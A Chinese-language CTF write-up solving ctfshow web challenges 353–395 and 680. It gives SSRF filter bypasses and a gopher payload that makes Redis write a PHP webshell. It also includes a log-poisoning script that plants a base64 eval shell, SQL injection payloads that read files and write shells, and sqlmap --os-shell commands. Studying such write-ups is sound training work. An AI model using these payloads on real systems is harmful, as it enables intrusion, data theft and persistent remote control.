进制绕过 url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
句号绕过 url=http://127。0.0.1/flag.php
还有很多 0 ,127.1 ,127.0.1 ,127.0000.0000.1
还可以DNS重绑定
web353
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
url=http://0x7F000001/flag.php
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
不能出现1和0,可以用sudo.cc,他会被解析成127.0.0.1
url=http://sudo.cc/flag.php
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
设置了$host<5的限制,要求长度小于5那直接http://127.1/flag.php就可以了。
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
在这里插入代码片
限制$host<3,
payload:url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
url必须以http://ctf.开头,必须以show结尾。
以show结尾比较好办,要么#show,要么?a=show这样的都可以。
以http://ctf.开头的话,加上一个@127.0.0.1就可以绕过了,这样parse_url解析出来的host是127.0.0.1,考虑到ftp:ftp://user[:pass]@ip[:port]/path,因此前面的ctf.会被解析成user。
url=http://ctf.@127.0.0.1/flag.php?show
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>
//运行结果:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}
web359
将得到经过url编码的字符再编码一次,然后在check.php页面POST传参
web360
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
----------黑盒测试----------
前言
黑盒测试可能用到的字典
xy123
admin888
/install/index.php
/clear.php
/page.php
/alsckdfy/index.php
/debug
web380
web381
web382-383
万能密码
web384
字典生成
import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
for j in s1:
for k in s2:
for l in s2:
for m in s2:
p=i+j+k+l+m
f.write(p+"\n")
f.close()
几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123
web385
扫描后台得/install
重置后密码是admin888,返回去后台登录
web386
通过扫描后台发现clear.php和install
直接把lock.dat删了,lock.dat在linstall下
/clear.php?file=./install/lock.dat
后面和web385一样
web387
web386思路不行了
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>
web388
或者python脚本发包:
import requests
import base64
url="http://d8a5a26b-5cb5-4abd-b3f5-1d34643d822d.challenge.ctf.show:8080/"
url2="http://d8a5a26b-5cb5-4abd-b3f5-1d34643d822d.challenge.ctf.show:8080/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode() #免杀处理
headers={
'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)
web389
是jwt
粘贴到那里,发现可以了
做题过程中刷新一次auth值就会回去,所以每次都要重置一次。后面做题和web388一样
当然也可以尝试/editor上传木马然后rce
或者
import requests
import base64
url="http://2121da6d-86eb-4dec-81b8-d86bea4e4067.challenge.ctf.show:8080/"
url2="http://2121da6d-86eb-4dec-81b8-d86bea4e4067.challenge.ctf.show:8080/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd),
'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMzA2NTgxMywiZXhwIjoxNjMzMDczMDEzLCJuYmYiOjE2MzMwNjU4MTMsInN1YiI6ImFkbWluIiwianRpIjoiZTZkNTViNGFiZGU4MmNhNDQ4NTUyY2RjNzEyOWUyNTAifQ.0ZsyP8RHnxzrCnlntcJ-vieBy31ffBDOFm_gjbO_zyU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)
web390
明显带注入,尝试拿账号密码
1 union select 1,(select password from admin_user),3 limit 1,1#
发现登录不了
写文件试试也行不通
1 union select 1,(select username from admin_user),(select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php) limit 1,1#
那就读文件
1%20union%20select%201,(select%20username%20from%20admin_user),(select%20load_file(%20%27/var/www/html/alsckdfy/check.php%27))%20limit%201,1#
发现没有什么东西,截取一下试试
1 union select 1,2,substr((select load_file( '/var/www/html/alsckdfy/check.php')),1,255) limit 1,1#
得flag
解法二:
python sqlmap.py -u http://f0b9a9a6-d162-4a0d-bad3-040a9e3f9f11.challenge.ctf.show:8080/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
web391
变成了这样
1' union select 1,substr((select load_file( '/var/www/html/alsckdfy/check.php')),1,255),3 limit 0,1#
或者继续sqlmap:
python sqlmap.py -u http://21a89126-c3af-4da8-b570-1a74dce31f66.challenge.ctf.show:8080/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch
web392
盲猜在/flag
aa' union select 1,substr((select load_file( '/flag')),1,255),3 limit 0,1#
或者sqlmap
python sqlmap.py -u http://398a2709-b993-4eac-b46d-635d4ba4b03d.challenge.ctf.show:8080/search.php?title=1 --os-shell
update注入,并利用ssrf来读取本地文件:a';update link set url='file:///flag' where id = 1;#
web393
查表名查到link
payload:
search.php?title=1’;insert into link values(10,‘a’,‘file:///flag’);(在search.php页面存在堆叠注入)
然后访问link.php?id=10就能得到flag
或者update注入,并利用ssrf来读取本地文件:
a';update link set url='file:///flag' where id = 1;#
web394-395
直接读flag,flag在alsckdfy/check.php中,在上题的基础上过滤了一些字符,但是可以用16进制绕过。
payload:
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
16进制为file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10
解法二:
攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:
search.php?title=1’;alter table link modify column url text;
然后就可以打相应的服务了。具体可以参考ssrf篇的360。
payload
search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11
就会生成abc.php 密码是1
-----------大赛原题----------
web680
尝试post了 code=phpinfo(); 获取到了相关信息:
1、open_basedir=/var/www/html
2、disabled_functions一大堆
直接var_dump(scandir(’.’));获取到了当前目录文件名,找到了"secret_you_never_know"这个文件
拓展:
如果flag放在根目录,可以用var_dump(scandir(‘glob:///*’));获取到根目录的结构,然后通过symlink()得到文件内容,直接访问http://url/exp获取文件。p神博客
终极考核
https://www.yun0tian.top/2022/01/03/CTFSHOW%E7%BB%88%E6%9E%81%E8%80%83%E6%A0%B8/
https://blog.youkuaiyun.com/miuzzx/article/details/121611665?spm=1001.2014.3001.5501